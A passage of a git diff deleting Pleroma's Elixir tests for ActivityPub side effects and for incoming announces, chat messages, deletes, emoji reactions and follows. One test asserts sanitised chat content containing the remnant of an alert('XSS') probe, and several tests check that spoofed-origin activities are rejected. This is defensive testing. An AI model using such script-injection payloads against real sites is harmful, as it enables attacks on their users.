Map.delete(object.data, "actor")}) - |> Repo.update() - - Object.invalid_object_cache(object) - - assert capture_log(fn -> - {:error, :no_object_actor} = SideEffects.handle(delete) - end) =~ "object doesn't have an actor" - end - end - - describe "EmojiReact objects" do - setup do - poster = insert(:user) - user = insert(:user) - - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - - {:ok, emoji_react_data, []} = Builder.emoji_react(user, post.object, "👌") - {:ok, emoji_react, _meta} = ActivityPub.persist(emoji_react_data, local: true) - - %{emoji_react: emoji_react, user: user, poster: poster} - end - - test "adds the reaction to the object", %{emoji_react: emoji_react, user: user} do - {:ok, emoji_react, _} = SideEffects.handle(emoji_react) - object = Object.get_by_ap_id(emoji_react.data["object"]) - - assert object.data["reaction_count"] == 1 - assert ["👌", [user.ap_id]] in object.data["reactions"] - end - - test "creates a notification", %{emoji_react: emoji_react, poster: poster} do - {:ok, emoji_react, _} = SideEffects.handle(emoji_react) - assert Repo.get_by(Notification, user_id: poster.id, activity_id: emoji_react.id) - end - end - - describe "delete users with confirmation pending" do - setup do - user = insert(:user, confirmation_pending: true) - {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) - {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) - {:ok, delete: delete_user, user: user} - end - - test "when activation is not required", %{delete: delete, user: user} do - clear_config([:instance, :account_activation_required], false) - {:ok, _, _} = SideEffects.handle(delete) - ObanHelpers.perform_all() - - assert User.get_cached_by_id(user.id).deactivated - end - - test "when activation is required", %{delete: delete, user: user} do - clear_config([:instance, :account_activation_required], true) - {:ok, _, _} = SideEffects.handle(delete) - ObanHelpers.perform_all() - - refute User.get_cached_by_id(user.id) - end - end - - describe "Undo objects" do - setup do - poster = insert(:user) - user = insert(:user) - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - {:ok, like} = CommonAPI.favorite(user, post.id) - {:ok, reaction} = CommonAPI.react_with_emoji(post.id, user, "👍") - {:ok, announce} = CommonAPI.repeat(post.id, user) - {:ok, block} = CommonAPI.block(user, poster) - - {:ok, undo_data, _meta} = Builder.undo(user, like) - {:ok, like_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - {:ok, undo_data, _meta} = Builder.undo(user, reaction) - {:ok, reaction_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - {:ok, undo_data, _meta} = Builder.undo(user, announce) - {:ok, announce_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - {:ok, undo_data, _meta} = Builder.undo(user, block) - {:ok, block_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - %{ - like_undo: like_undo, - post: post, - like: like, - reaction_undo: reaction_undo, - reaction: reaction, - announce_undo: announce_undo, - announce: announce, - block_undo: block_undo, - block: block, - poster: poster, - user: user - } - end - - test "deletes the original block", %{ - block_undo: block_undo, - block: block - } do - {:ok, _block_undo, _meta} = SideEffects.handle(block_undo) - - refute Activity.get_by_id(block.id) - end - - test "unblocks the blocked user", %{block_undo: block_undo, block: block} do - blocker = User.get_by_ap_id(block.data["actor"]) - blocked = User.get_by_ap_id(block.data["object"]) - - {:ok, _block_undo, _} = SideEffects.handle(block_undo) - refute User.blocks?(blocker, blocked) - end - - test "an announce undo removes the announce from the object", %{ - announce_undo: announce_undo, - post: post - } do - {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) - - object = Object.get_by_ap_id(post.data["object"]) - - assert object.data["announcement_count"] == 0 - assert object.data["announcements"] == [] - end - - test "deletes the original announce", %{announce_undo: announce_undo, announce: announce} do - {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) - refute Activity.get_by_id(announce.id) - end - - test "a reaction undo removes the reaction from the object", %{ - reaction_undo: reaction_undo, - post: post - } do - {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) - - object = Object.get_by_ap_id(post.data["object"]) - - assert object.data["reaction_count"] == 0 - assert object.data["reactions"] == [] - end - - test "deletes the original reaction", %{reaction_undo: reaction_undo, reaction: reaction} do - {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) - refute Activity.get_by_id(reaction.id) - end - - test "a like undo removes the like from the object", %{like_undo: like_undo, post: post} do - {:ok, _like_undo, _} = SideEffects.handle(like_undo) - - object = Object.get_by_ap_id(post.data["object"]) - - assert object.data["like_count"] == 0 - assert object.data["likes"] == [] - end - - test "deletes the original like", %{like_undo: like_undo, like: like} do - {:ok, _like_undo, _} = SideEffects.handle(like_undo) - refute Activity.get_by_id(like.id) - end - end - - describe "like objects" do - setup do - poster = insert(:user) - user = insert(:user) - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - - {:ok, like_data, _meta} = Builder.like(user, post.object) - {:ok, like, _meta} = ActivityPub.persist(like_data, local: true) - - %{like: like, user: user, poster: poster} - end - - test "add the like to the original object", %{like: like, user: user} do - {:ok, like, _} = SideEffects.handle(like) - object = Object.get_by_ap_id(like.data["object"]) - assert object.data["like_count"] == 1 - assert user.ap_id in object.data["likes"] - end - - test "creates a notification", %{like: like, poster: poster} do - {:ok, like, _} = SideEffects.handle(like) - assert Repo.get_by(Notification, user_id: poster.id, activity_id: like.id) - end - end - - describe "creation of ChatMessages" do - test "notifies the recipient" do - author = insert(:user, local: false) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, _meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - assert Repo.get_by(Notification, user_id: recipient.id, activity_id: create_activity.id) - end - - test "it streams the created ChatMessage" do - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - assert [_, _] = meta[:streamables] - end - - test "it creates a Chat and MessageReferences for the local users and bumps the unread count, except for the author" do - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> nil end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - {:ok, _create_activity, meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - # The notification gets created - assert [notification] = meta[:notifications] - assert notification.activity_id == create_activity.id - - # But it is not sent out - refute called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) - refute called(Pleroma.Web.Push.send(notification)) - - # Same for the user chat stream - assert [{topics, _}, _] = meta[:streamables] - assert topics == ["user", "user:pleroma_chat"] - refute called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) - - chat = Chat.get(author.id, recipient.ap_id) - - [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() - - assert cm_ref.object.data["content"] == "hey" - assert cm_ref.unread == false - - chat = Chat.get(recipient.id, author.ap_id) - - [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() - - assert cm_ref.object.data["content"] == "hey" - assert cm_ref.unread == true - end - end - - test "it creates a Chat for the local users and bumps the unread count" do - author = insert(:user, local: false) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, _meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - # An object is created - assert Object.get_by_ap_id(chat_message_data["id"]) - - # The remote user won't get a chat - chat = Chat.get(author.id, recipient.ap_id) - refute chat - - # The local user will get a chat - chat = Chat.get(recipient.id, author.ap_id) - assert chat - - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, _meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - # Both users are local and get the chat - chat = Chat.get(author.id, recipient.ap_id) - assert chat - - chat = Chat.get(recipient.id, author.ap_id) - assert chat - end - end - - describe "announce objects" do - setup do - poster = insert(:user) - user = insert(:user) - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - {:ok, private_post} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) - - {:ok, announce_data, _meta} = Builder.announce(user, post.object, public: true) - - {:ok, private_announce_data, _meta} = - Builder.announce(user, private_post.object, public: false) - - {:ok, relay_announce_data, _meta} = - Builder.announce(Pleroma.Web.ActivityPub.Relay.get_actor(), post.object, public: true) - - {:ok, announce, _meta} = ActivityPub.persist(announce_data, local: true) - {:ok, private_announce, _meta} = ActivityPub.persist(private_announce_data, local: true) - {:ok, relay_announce, _meta} = ActivityPub.persist(relay_announce_data, local: true) - - %{ - announce: announce, - user: user, - poster: poster, - private_announce: private_announce, - relay_announce: relay_announce - } - end - - test "adds the announce to the original object", %{announce: announce, user: user} do - {:ok, announce, _} = SideEffects.handle(announce) - object = Object.get_by_ap_id(announce.data["object"]) - assert object.data["announcement_count"] == 1 - assert user.ap_id in object.data["announcements"] - end - - test "does not add the announce to the original object if the actor is a service actor", %{ - relay_announce: announce - } do - {:ok, announce, _} = SideEffects.handle(announce) - object = Object.get_by_ap_id(announce.data["object"]) - assert object.data["announcement_count"] == nil - end - - test "creates a notification", %{announce: announce, poster: poster} do - {:ok, announce, _} = SideEffects.handle(announce) - assert Repo.get_by(Notification, user_id: poster.id, activity_id: announce.id) - end - - test "it streams out the announce", %{announce: announce} do - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> nil end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - {:ok, announce, _} = SideEffects.handle(announce) - - assert called( - Pleroma.Web.Streamer.stream(["user", "list", "public", "public:local"], announce) - ) - - assert called(Pleroma.Web.Push.send(:_)) - end - end - end -end diff --git a/test/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/web/activity_pub/transmogrifier/announce_handling_test.exs deleted file mode 100644 index e895636b5..000000000 --- a/test/web/activity_pub/transmogrifier/announce_handling_test.exs +++ /dev/null @@ -1,172 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnnounceHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming honk announces" do - user = insert(:user, ap_id: "https://honktest/u/test", local: false) - other_user = insert(:user) - {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) - - announce = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://honktest/u/test", - "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", - "object" => post.data["object"], - "published" => "2019-06-25T19:33:58Z", - "to" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Announce" - } - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(announce) - - object = Object.get_by_ap_id(post.data["object"]) - - assert length(object.data["announcements"]) == 1 - assert user.ap_id in object.data["announcements"] - end - - test "it works for incoming announces with actor being inlined (kroeg)" do - data = File.read!("test/fixtures/kroeg-announce-with-inline-actor.json") |> Poison.decode!() - - _user = insert(:user, local: false, ap_id: data["actor"]["id"]) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(other_user, %{status: "kroegeroeg"}) - - data = - data - |> put_in(["object", "id"], post.data["object"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "https://puckipedia.com/" - end - - test "it works for incoming announces, fetching the announced object" do - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", "http://mastodon.example.org/users/admin/statuses/99541947525187367") - - Tesla.Mock.mock(fn - %{method: :get} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-note-object.json")} - end) - - _user = insert(:user, local: false, ap_id: data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Announce" - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - - assert data["object"] == - "http://mastodon.example.org/users/admin/statuses/99541947525187367" - - assert(Activity.get_create_by_object_ap_id(data["object"])) - end - - @tag capture_log: true - test "it works for incoming announces with an existing activity" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _user = insert(:user, local: false, ap_id: data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Announce" - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - - assert data["object"] == activity.data["object"] - - assert Activity.get_create_by_object_ap_id(data["object"]).id == activity.id - end - - # Ignore inlined activities for now - @tag skip: true - test "it works for incoming announces with an inlined activity" do - data = - File.read!("test/fixtures/mastodon-announce-private.json") - |> Poison.decode!() - - _user = - insert(:user, - local: false, - ap_id: data["actor"], - follower_address: data["actor"] <> "/followers" - ) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Announce" - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - - object = Object.normalize(data["object"]) - - assert object.data["id"] == "http://mastodon.example.org/@admin/99541947525187368" - assert object.data["content"] == "this is a private toot" - end - - @tag capture_log: true - test "it rejects incoming announces with an inlined activity from another origin" do - Tesla.Mock.mock(fn - %{method: :get} -> %Tesla.Env{status: 404, body: ""} - end) - - data = - File.read!("test/fixtures/bogus-mastodon-announce.json") - |> Poison.decode!() - - _user = insert(:user, local: false, ap_id: data["actor"]) - - assert {:error, e} = Transmogrifier.handle_incoming(data) - end - - test "it does not clobber the addressing on announce activities" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", Object.normalize(activity).data["id"]) - |> Map.put("to", ["http://mastodon.example.org/users/admin/followers"]) - |> Map.put("cc", []) - - _user = - insert(:user, - local: false, - ap_id: data["actor"], - follower_address: "http://mastodon.example.org/users/admin/followers" - ) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["to"] == ["http://mastodon.example.org/users/admin/followers"] - end -end diff --git a/test/web/activity_pub/transmogrifier/chat_message_test.exs b/test/web/activity_pub/transmogrifier/chat_message_test.exs deleted file mode 100644 index 31274c067..000000000 --- a/test/web/activity_pub/transmogrifier/chat_message_test.exs +++ /dev/null @@ -1,171 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.ChatMessageTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - - describe "handle_incoming" do - test "handles chonks with attachment" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://honk.tedunangst.com/u/tedu", - "id" => "https://honk.tedunangst.com/u/tedu/honk/x6gt8X8PcyGkQcXxzg1T", - "object" => %{ - "attachment" => [ - %{ - "mediaType" => "image/jpeg", - "name" => "298p3RG7j27tfsZ9RQ.jpg", - "summary" => "298p3RG7j27tfsZ9RQ.jpg", - "type" => "Document", - "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" - } - ], - "attributedTo" => "https://honk.tedunangst.com/u/tedu", - "content" => "", - "id" => "https://honk.tedunangst.com/u/tedu/chonk/26L4wl5yCbn4dr4y1b", - "published" => "2020-05-18T01:13:03Z", - "to" => [ - "https://dontbulling.me/users/lain" - ], - "type" => "ChatMessage" - }, - "published" => "2020-05-18T01:13:03Z", - "to" => [ - "https://dontbulling.me/users/lain" - ], - "type" => "Create" - } - - _user = insert(:user, ap_id: data["actor"]) - _user = insert(:user, ap_id: hd(data["to"])) - - assert {:ok, _activity} = Transmogrifier.handle_incoming(data) - end - - test "it rejects messages that don't contain content" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.delete("content") - - data = - data - |> Map.put("object", object) - - _author = - insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) - - _recipient = - insert(:user, - ap_id: List.first(data["to"]), - local: true, - last_refreshed_at: DateTime.utc_now() - ) - - {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it rejects messages that don't concern local users" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - _author = - insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) - - _recipient = - insert(:user, - ap_id: List.first(data["to"]), - local: false, - last_refreshed_at: DateTime.utc_now() - ) - - {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it rejects messages where the `to` field of activity and object don't match" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - author = insert(:user, ap_id: data["actor"]) - _recipient = insert(:user, ap_id: List.first(data["to"])) - - data = - data - |> Map.put("to", author.ap_id) - - assert match?({:error, _}, Transmogrifier.handle_incoming(data)) - refute Object.get_by_ap_id(data["object"]["id"]) - end - - test "it fetches the actor if they aren't in our system" do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - |> Map.put("actor", "http://mastodon.example.org/users/admin") - |> put_in(["object", "actor"], "http://mastodon.example.org/users/admin") - - _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) - - {:ok, %Activity{} = _activity} = Transmogrifier.handle_incoming(data) - end - - test "it doesn't work for deactivated users" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - _author = - insert(:user, - ap_id: data["actor"], - local: false, - last_refreshed_at: DateTime.utc_now(), - deactivated: true - ) - - _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it inserts it and creates a chat" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - author = - insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) - - recipient = insert(:user, ap_id: List.first(data["to"]), local: true) - - {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(data) - assert activity.local == false - - assert activity.actor == author.ap_id - assert activity.recipients == [recipient.ap_id, author.ap_id] - - %Object{} = object = Object.get_by_ap_id(activity.data["object"]) - - assert object - assert object.data["content"] == "You expected a cute girl? Too bad. alert('XSS')" - assert match?(%{"firefox" => _}, object.data["emoji"]) - - refute Chat.get(author.id, recipient.ap_id) - assert Chat.get(recipient.id, author.ap_id) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/delete_handling_test.exs b/test/web/activity_pub/transmogrifier/delete_handling_test.exs deleted file mode 100644 index c9a53918c..000000000 --- a/test/web/activity_pub/transmogrifier/delete_handling_test.exs +++ /dev/null @@ -1,114 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.DeleteHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "it works for incoming deletes" do - activity = insert(:note_activity) - deleting_user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-delete.json") - |> Poison.decode!() - |> Map.put("actor", deleting_user.ap_id) - |> put_in(["object", "id"], activity.data["object"]) - - {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = - Transmogrifier.handle_incoming(data) - - assert id == data["id"] - - # We delete the Create activity because we base our timelines on it. - # This should be changed after we unify objects and activities - refute Activity.get_by_id(activity.id) - assert actor == deleting_user.ap_id - - # Objects are replaced by a tombstone object. - object = Object.normalize(activity.data["object"]) - assert object.data["type"] == "Tombstone" - end - - test "it works for incoming when the object has been pruned" do - activity = insert(:note_activity) - - {:ok, object} = - Object.normalize(activity.data["object"]) - |> Repo.delete() - - Cachex.del(:object_cache, "object:#{object.data["id"]}") - - deleting_user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-delete.json") - |> Poison.decode!() - |> Map.put("actor", deleting_user.ap_id) - |> put_in(["object", "id"], activity.data["object"]) - - {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = - Transmogrifier.handle_incoming(data) - - assert id == data["id"] - - # We delete the Create activity because we base our timelines on it. - # This should be changed after we unify objects and activities - refute Activity.get_by_id(activity.id) - assert actor == deleting_user.ap_id - end - - test "it fails for incoming deletes with spoofed origin" do - activity = insert(:note_activity) - %{ap_id: ap_id} = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") - - data = - File.read!("test/fixtures/mastodon-delete.json") - |> Poison.decode!() - |> Map.put("actor", ap_id) - |> put_in(["object", "id"], activity.data["object"]) - - assert match?({:error, _}, Transmogrifier.handle_incoming(data)) - end - - @tag capture_log: true - test "it works for incoming user deletes" do - %{ap_id: ap_id} = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - - data = - File.read!("test/fixtures/mastodon-delete-user.json") - |> Poison.decode!() - - {:ok, _} = Transmogrifier.handle_incoming(data) - ObanHelpers.perform_all() - - assert User.get_cached_by_ap_id(ap_id).deactivated - end - - test "it fails for incoming user deletes with spoofed origin" do - %{ap_id: ap_id} = insert(:user) - - data = - File.read!("test/fixtures/mastodon-delete-user.json") - |> Poison.decode!() - |> Map.put("actor", ap_id) - - assert match?({:error, _}, Transmogrifier.handle_incoming(data)) - - assert User.get_cached_by_ap_id(ap_id) - end -end diff --git a/test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs b/test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs deleted file mode 100644 index 0fb056b50..000000000 --- a/test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs +++ /dev/null @@ -1,61 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.EmojiReactHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming emoji reactions" do - user = insert(:user) - other_user = insert(:user, local: false) - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/emoji-reaction.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", other_user.ap_id) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == other_user.ap_id - assert data["type"] == "EmojiReact" - assert data["id"] == "http://mastodon.example.org/users/admin#reactions/2" - assert data["object"] == activity.data["object"] - assert data["content"] == "👌" - - object = Object.get_by_ap_id(data["object"]) - - assert object.data["reaction_count"] == 1 - assert match?([["👌", _]], object.data["reactions"]) - end - - test "it reject invalid emoji reactions" do - user = insert(:user) - other_user = insert(:user, local: false) - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/emoji-reaction-too-long.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", other_user.ap_id) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - - data = - File.read!("test/fixtures/emoji-reaction-no-emoji.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", other_user.ap_id) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - end -end diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs deleted file mode 100644 index 757d90941..000000000 --- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs +++ /dev/null @@ -1,208 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.ActivityPub.Utils - - import Pleroma.Factory - import Ecto.Query - import Mock - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "handle_incoming" do - setup do: clear_config([:user, :deny_follow_blocked]) - - test "it works for osada follow request" do - user = insert(:user) - - data = - File.read!("test/fixtures/osada-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "https://apfed.club/channel/indio" - assert data["type"] == "Follow" - assert data["id"] == "https://apfed.club/follow/9" - - activity = Repo.get(Activity, activity.id) - assert activity.data["state"] == "accept" - assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it works for incoming follow requests" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Follow" - assert data["id"] == "http://mastodon.example.org/users/admin#follows/2" - - activity = Repo.get(Activity, activity.id) - assert activity.data["state"] == "accept" - assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) - - [notification] = Notification.for_user(user) - assert notification.type == "follow" - end - - test "with locked accounts, it does create a Follow, but not an Accept" do - user = insert(:user, locked: true) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["state"] == "pending" - - refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) - - accepts = - from( - a in Activity, - where: fragment("?->>'type' = ?", a.data, "Accept") - ) - |> Repo.all() - - assert Enum.empty?(accepts) - - [notification] = Notification.for_user(user) - assert notification.type == "follow_request" - end - - test "it works for follow requests when you are already followed, creating a new accept activity" do - # This is important because the remote might have the wrong idea about the - # current follow status. This can lead to instance A thinking that x@A is - # followed by y@B, but B thinks they are not. In this case, the follow can - # never go through again because it will never get an Accept. - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) - - accepts = - from( - a in Activity, - where: fragment("?->>'type' = ?", a.data, "Accept") - ) - |> Repo.all() - - assert length(accepts) == 1 - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("id", String.replace(data["id"], "2", "3")) - |> Map.put("object", user.ap_id) - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) - - accepts = - from( - a in Activity, - where: fragment("?->>'type' = ?", a.data, "Accept") - ) - |> Repo.all() - - assert length(accepts) == 2 - end - - test "it rejects incoming follow requests from blocked users when deny_follow_blocked is enabled" do - Pleroma.Config.put([:user, :deny_follow_blocked], true) - - user = insert(:user) - {:ok, target} = User.get_or_fetch("http://mastodon.example.org/users/admin") - - {:ok, _user_relationship} = User.block(user, target) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) - - %Activity{} = activity = Activity.get_by_ap_id(id) - - assert activity.data["state"] == "reject" - end - - test "it rejects incoming follow requests if the following errors for some reason" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - with_mock Pleroma.User, [:passthrough], follow: fn _, _, _ -> {:error, :testing} end do - {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) - - %Activity{} = activity = 